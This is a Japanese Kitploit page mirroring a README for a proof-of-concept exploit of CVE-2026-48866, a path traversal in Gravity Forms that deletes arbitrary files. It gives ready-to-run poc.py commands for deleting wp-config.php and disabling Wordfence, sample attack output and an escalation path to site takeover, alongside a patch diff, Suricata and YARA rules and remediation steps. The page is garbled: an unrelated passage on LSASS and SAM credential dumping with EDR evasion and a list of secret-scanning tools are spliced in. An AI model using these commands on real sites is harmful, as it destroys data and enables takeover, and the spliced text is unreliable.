Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48866 — CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6) | Kitploit
ツール/GitHubGitHub/0xabcd01/cve-2026-48866
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHub0xabcd01/cve-2026-48866

CVE-2026-48866

CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-48866 CVSS 9.6 CWE-22 Affected Fixed

Type Access Trigger Platform Python License

---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘

root@kitploit:~
<h3 align="center">
  <code>gform_uploaded_files</code> はURL内で <code>../</code> を受け入れます。管理者の削除クリックにより任意のファイル削除が発生します。
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">修正コミット</a> •
  <a href="https://github.com/codewurker/gravityforms">ソースミラー</a>
</p>

---

## 目次

<table>
<tr>
<td width="50%">

**エクスプロイト**
- [クイックスタート](#quick-start)
- [動作の仕組み](#how-it-works)
- [影響](#impact)
- [使用方法](#usage)

</td>
<td width="50%">

**防御**
- [技術的詳細](#technical-deep-dive)
- [検出](#detection)
- [修復](#remediation)
- [参考資料](#references)

</td>
</tr>
</table>

---

## クイックスタート```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

仕組み

このツールはWindowsシステムからSAM、SECURITY、SYSTEMレジストリハイブを取得するための複数のアクセス手法を実装します。手法の選択はOSバージョン(例: 32ビット vs. 64ビット)と利用可能な特権によって決定され、より高い特権の手法が失敗した場合は自動的にフォールバックします。

管理者がサードパーティ製ドライバ(例: ETL処理用のUltimateSQL dll)をロードすると、ダンププロセス (lsass.exe) を使用して直接資格情報を抽出できます(正規のセキュリティツールと同様に動作します)が、標準の MiniDumpWriteDump API呼び出しを使用しないことで、エンドポイント検出・応答 (EDR) ソリューションを回避します:

  • VSSがないレガシーWindows: (例: 古いXP/2003システム) %windir%\system32\config から直接ファイルコピーアクセス—最も単純ですが、ファイルロックの問題が発生します。
  • VSSが存在する場合: (XP+) ボリュームシャドウコピーを作成してロックされたファイルに安全にアクセスします。ローカルSAM復号化にブートキーは不要です。
  • VSSが利用不可または失敗した場合: HKEY_LOCAL_MACHINE のネイティブレジストリハンドルにフォールバックします(XP/2003では RegSaveKeyW を使用、Vista以降では REG_SAVE_FORMAT_USER_EXCLUDE_SPECIAL フラグ付きの RegSaveKeyExW)。この方法は静かですが、SeBackupPrivilege に依存します。注: 64ビットOS上の32ビットプロセスでは、KEY_WOW64_64KEY フラグを使用して実際の64ビットネイティブハイブにアクセスします。
  • 資格情報ダンプモード: ダンプモードはLSASSプロセスのメモリを標的とし、ディスクにダンプファイルを書き込まずに資格情報を抽出します。これは完全にメモリ内で動作するハンター・ギャザラー方式で、MiniDumpWriteDump を使用せず、ディスクアーティファクトを残しません。この方法はより高い特権(通常 SYSTEM または同等)が必要で、最もステルス性が高く、ほとんどのEDR検出を回避するように設計されています。また、オフラインメモリダンプの解析にも対応しています(例: フォレンジック用)。
    モジュール: nanodump ベース(フォーマット: カスタム)、comsvcs.dll ベース(フォーマット: MiniDump)、 に着想を得た純粋Pythonパーサー。```bash git clone cd CVE-2026-48866 pip install requests

Inject only (unauthenticated — file dies when admin cleans entries)

python3 poc.py -t https://test.com -f 1 -i 3

Full kill chain (admin creds provided — immediate deletion)

python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

root@kitploit:~
---

## 動作の仕組み

### 攻撃の流れ```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

根本原因(PHPの3行)```php

// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php

root@kitploit:~
`str_replace()` と `unlink()` の間にはチェックが存在しません。バグはその隙間にあります。

---

## 影響

<table>
<tr>
<th>ターゲット</th>
<th>影響</th>
<th>深刻度</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>サイトがオフラインになります。WordPress がインストーラーウィザードを表示します。攻撃者は自分のサーバーに DB を向け、<strong>サイト全体を乗っ取ります</strong>。</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL 書き換えとセキュリティルールが消失。ディレクトリリスティングが公開されます。</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF が動作を停止します。攻撃者とサイトの間にファイアウォールがありません。</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>プラグインが読み込まれません。サイトが機能しなくなります。</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>管理者がロックアウトされます。ファイルを復元するまで誰もログインできません。</td>
<td align="center">MEDIUM</td>
</tr>
</table>

> *「このような脆弱性は、一度に数千ものウェブサイトを標的とする大量悪用キャンペーンで使用されています。」*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)

---

### 削除 → RCE エスカレーションチェーン```
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

RCEチェーンに必要な条件:

  • 攻撃者が制御可能で到達可能なMySQLサーバー
  • WordPressインストーラーがアクセス可能(ホスティング/WAFによってブロックされていないこと)
  • 結果:攻撃者は同一ドメイン上に新しいWordPressインストールを取得するが、既存サイトデータへのアクセスは不可

使用方法

コマンドリファレンス```

┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### 使用例シナリオ

<details>
<summary><b>シナリオ1: サイレントインジェクション(管理者権限不要)</b></summary>```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
  1. PoCはフォームページを取得し、AJAX nonceを抽出します
  2. URLに埋め込まれた ../../../wp-config.php を含む gform_uploaded_files を送信します
  3. データベースは悪意のあるURLを含むエントリを保存します
  4. 管理者がエントリを削除すると(定期的なクリーンアップまたは一括削除)、wp-config.php が削除されます

トリガーまでの時間: 不明。管理者の行動に依存します。数時間または数週間。

シナリオ2: 完全なキルチェーン(管理者資格情報提供済み)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` 1. Phase 1: 悪意のあるエントリを注入(シナリオ1と同じ) 2. Phase 2: WordPressに管理者としてログインし、汚染されたエントリを見つけて削除する 3. `wp-config.php` が消える 4. PoCがサイトのダウンを確認する

トリガーまでの時間: 秒単位。

シナリオ3: .htaccessをターゲットにする(必要な深さは低め)```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file .htaccess \ --depth 2 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` **深さの説明:**``` depth 3 (default): gravity_forms/ → uploads/ → wp-content/ → WP root depth 2: gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here) depth 1: gravity_forms/ → uploads/ (files in uploads dir) ```
シナリオ4: Wordfenceファイアウォールを無効化```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file wp-content/plugins/wordfence/wordfence.php \ --depth 1 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ```
シナリオ5: Burp Suite 経由のルーティング```bash python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' \ --proxy http://127.0.0.1:8080 ```

サンプル出力```

root@kitploit:~
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target:     https://test.com
Form ID:    1
Field ID:   3
File:       wp-config.php
Depth:      3
Trigger:    True

[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.

[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!

root@kitploit:~
---

## 技術的な深掘り

### コールスタック: インジェクションパス```
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

コールスタック: 削除パス```

GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED

root@kitploit:~
### 脆弱性あり vs 修正済み

<table>
<tr>
<th width="50%">脆弱性あり (≤ 2.10.0.1)</th>
<th width="50%">修正済み (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
```php // delete_physical_file() — WITH validation $file_path = self::get_physical_file_path( $url, $entry_id ); $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url ); // NEW: verify path is in uploads if ( ! GFCommon::is_file_in_uploads($url) ) { GFCommon::log_debug(__METHOD__ . sprintf(': Not deleting: %s', $file_path)); return; } if ( file_exists( $file_path ) ) { $result = unlink( $file_path ); } ```

パッチ関数 (v2.10.1)

GFCommon::get_absolute_path() は、. と .. をパスセグメントを辿って解決します:```php public static function get_absolute_path( $path ) { $path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path ); $path = str_replace( '://', '|%%protocol%%|', $path ); $parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' ); $absolutes = array();

root@kitploit:~
foreach ( $parts as $part ) {
    if ( '.' == $part ) { continue; }
    if ( '..' == $part ) {
        array_pop( $absolutes );
    } else {
        $absolutes[] = $part;
    }
}

$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );

}

root@kitploit:~
**`GFCommon::is_file_in_uploads()`** は、解決されたパスをアップロードルートと比較します:```php
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

コミット参照


検出

ネットワーク: Suricata ルール```suricata

Rule 1: Detect ../ traversal in gform_uploaded_files

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)

Rule 2: URL-encoded variant (%2e%2e)

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)

Rule 3: "url" key with traversal nearby

alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)

root@kitploit:~
### ホスト: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}
  • MIT License
  • MIT No Attribution

Gitクローンツール

  • Git Hound - バッチ処理でシークレットパターンを検出するツールで、GitHubユーザーのリポジトリとGist全体からAPIキーやその他の機密情報を探し出せます。 GitHub last commit

フレームワーク

  • MANSPIDER - ネットワーク全体を巡回し、SMB共有上にある価値あるファイルを探し出します。ファイル名やファイル内容を検索 — 正規表現対応! GitHub last commit
  • DumpsterDiver - 様々なファイルタイプからシークレットを検索するツール。 GitHub last commit
  • Gitleaks - 正規表現とエントロピーを使用してGitリポジトリとファイル内のシークレットをスキャンします🔑 GitHub last commit
  • Seargen - ローカルおよびGit履歴内のAWSシークレットを検索します。Goで書かれています。 GitHub last commit

ソースコード内のシークレット

  • Meli - 🦊 独自のHTTP/Sエンドポイントセキュリティツールを展開して、悪意のあるコンテンツや機密コンテンツをスキャン・特定し、Webアプリの制御を取り戻しましょう GitHub last commit
  • gitGraber - gitGraber: GitHubを監視し、Google、Amazon(AWS)、Paypal、Github、Mailgun、Facebook、Twitter、Heroku、Stripeなど、さまざまなオンラインサービスの機密データをリアルタイムで検出します... GitHub last commit
  • Mantra - 「マントラ」JSファイルやページ内のAPIキー漏洩を探し出すためのツール GitHub last commit
  • BadMod - IMGタグのインジェクション攻撃に対して脆弱なWebサイトを検出し、基本的なSQLiを用いてそれらの脆弱な箇所のスキャンと自動エクスプロイトを支援します — 教育目的のみ GitHub last commit
  • earlybird - EarlyBirdは、ソースコードリポジトリをスキャンして、平文パスワード違反、PII、古い暗号化、キーファイルなどを見つけることができる、機密データ検出ツールです。 GitHub last commit```bash

Scan your Gravity Forms installation

yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/

root@kitploit:~
| Rule | You Found |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTPログまたはPOSTボディ内のエクスプロイトペイロード |
| `CVE_2026_48866_Vulnerable_Plugin` | 修正が適用されていないGravity Formsのインストール |
| `CVE_2026_48866_Patched_Plugin` | 修正が適用されたGravity Formsのインストール |

### ログ分析```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

是正```

┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
| 優先度 | アクション | コマンド |
|---|---|---|
| P0 | Gravity Forms を更新 | WordPress 管理画面 → プラグイン → 更新 |
| P1 | パッチの確認 | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | ログの監査 | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | WAF ルールを展開 | 上記の[検出](#detection)セクションを参照 |

---

## 免責事項```
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

参考文献


許可されたペネトレーションテスト用 スター歓迎

ツールをダウンロード
secretsdump
https://github.com/0xABCD01/CVE-2026-48866.git
バージョンコミット説明
v2.10.086bf7b9脆弱。delete_physical_file() にパス検証がない
v2.10.1cf2ff65修正済み。unlink() の前に is_file_in_uploads() ガードを追加
情報源リンクステータス
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-48866確認済み
Patchstack Advisoryhttps://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability確認済み
Gravity Forms Changeloghttps://docs.gravityforms.com/gravityforms-change-log/確認済み
Source Code (Mirror)https://github.com/codewurker/gravityforms確認済み
Vulnerable Commit (v2.10.0)https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed確認済み
Patched Commit (v2.10.1)https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422確認済み
CWE-22https://cwe.mitre.org/data/definitions/22.html確認済み
MITRE CVEhttps://www.cve.org/CVERecord?id=CVE-2026-48866まだ登録されていません